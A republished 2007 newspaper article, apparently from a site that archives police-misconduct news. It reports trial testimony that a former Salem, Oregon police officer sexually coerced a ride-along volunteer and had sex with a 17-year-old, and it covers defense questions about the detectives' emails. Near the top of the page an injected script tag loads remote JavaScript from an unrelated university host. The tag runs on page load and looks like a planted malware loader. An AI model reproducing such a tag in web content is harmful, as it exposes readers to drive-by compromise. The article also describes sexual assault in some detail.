NEWS > 07 June 2007

Article sourced from

<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Salem Statesman Journal, OR
07 June 2007

This article appeared in the above title/site.
To view it in its entirity click this link.

Ex-police officer's second acc

The second woman to accuse former Salem police Officer Sterling Alexander of sexual misconduct testified Wednesday, saying he forced her to perform oral sex on him during a police ride-along.

The woman, a 36-year-old mother of three, told a Marion County jury that Alexander drove her to a deserted construction site in West Salem.

"I didn't really feel like I had a choice," said the woman, who at the time was a police volunteer and now is an employee in the Salem Community Enforcement Division. "I was out in the middle of nowhere. He wasn't taking no for an answer."

Her testimony came on the second day of a trial for Alexander, 39, who is accused of using his position as a police officer in Salem and Stayton to sexually abuse three women in separate incidents. The Statesman Journal does not publish the names of alleged rape victims.

Earlier in the day, Oregon State Police detectives testified that Alexander admitted after his arrest to having sex with another of his accusers, who was 17 at the time.

Defense attorney Kevin Lafky also asked about whether police misconduct took place in assistance that Salem officers provided to the state police investigators.

During the city employee's testimony, her eyes often filled with tears as she recalled her ride-along with Alexander on June 27, 2004.

The day before, she had worked at the World Beat Festival as a police volunteer. When she went to get a police radio in the department, she said, Alexander followed her into the storage room and asked to see her pierced nipples. She told the jury that she told him no and left the room.

But later that day, in a phone call with Alexander, she agreed to go on a ride-along with him the next day.

"I guess I just thought he'd be professional when we'd be on patrol," she testified.

During the ride-along, Alexander played a game in which he dropped sunflower seeds into her lap and tried to fish them out, then dropped sunflower seeds into his lap and told her to retrieve them, she said. The city employee said she went along somewhat, but also protested and pushed his hand away from her.

Alexander also talked about things he had done in a patrol car, and complained to her that he had never had oral sex in a patrol car, she said.

At one point, when they were checking out the house of a woman who had been missing for a couple of weeks, Alexander suggested they sneak into a bedroom and fool around, she testified.

She refused, leaving the house.

"At that time, I felt it was crossing the professional line and I wanted to get away from it," she told the jury.

However, she admitted on cross examination that she didn't complain about Alexander's conduct to any of the people they met during the ride-along.

Toward the end of his shift, Alexander drove her to a part of West Salem where a new development was under construction, she said. He stopped, and pushed her face onto his exposed penis.

"I kept saying, 'This is not OK, this is not OK,' " she said.

During the oral sex, she said, he unclipped his holster and rested his hand on his gun.

Word got around about the incident, and she ended up losing her job as a police volunteer and getting a reprimand from the city.

During the investigation into her conduct, Alexander sent her numerous text messages on her cell phone, inquiring about the investigation and insisting that he had done nothing wrong. She ended up reporting the harassment to Salem police.

By early July 2004, Alexander had resigned as a police officer after superiors found he had taken sexually explicit photos on a city-owned digital camera.

In other testimony Wednesday, Oregon State Police Detectives Patti Rhodes and Terri Cassebarth said Alexander admitted having consensual sex with a young woman to whom he'd given a ride Sept. 11, 2003.

The detectives spoke to Alexander in the Marion County Jail after his arrest in December 2005 on rape charges. Salem police asked state police to investigate the case to avoid conflicts of interest.

Alexander told detectives the sex took place while he was parked in a secluded warehouse lot off Front Street, the same location where the young woman says he raped her.

But he denied knowing she was 17 years old, even though he'd taken down her birth date for a report a month earlier, the detectives said.

On cross-examination, defense attorney Kevin Lafky asked the detectives about e-mails and phone calls Cassebarth had made to Salem officers while investigating the third victim to come forward, a single mother in Stayton.

The Stayton woman confided in a Salem officer who was a family friend, former Sgt. Jeff Barnes, who urged her to report her allegations.

Lafky produced e-mails in which Cassebarth asked a ranking Salem officer, then-Lt. Steve Bellshaw, to press Barnes to get the woman to talk.

"Tell Jeff to work harder and name his price," Cassebarth wrote in an e-mail to Bellshaw. "Desperate for another victim."

Cassebarth characterized the "price" as something like coffee, lunch or interviewing a witness Barnes might need for a later case.

She said she used the word "desperate" because she wanted more victims to prove Alexander was following a pattern.

"That would give me a third victim, which would show him to be a predator," she said.

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Salem Statesman Journal, OR07 June 2007

Ex-police officer's second acc

EiP Comments:

Salem Statesman Journal, OR
07 June 2007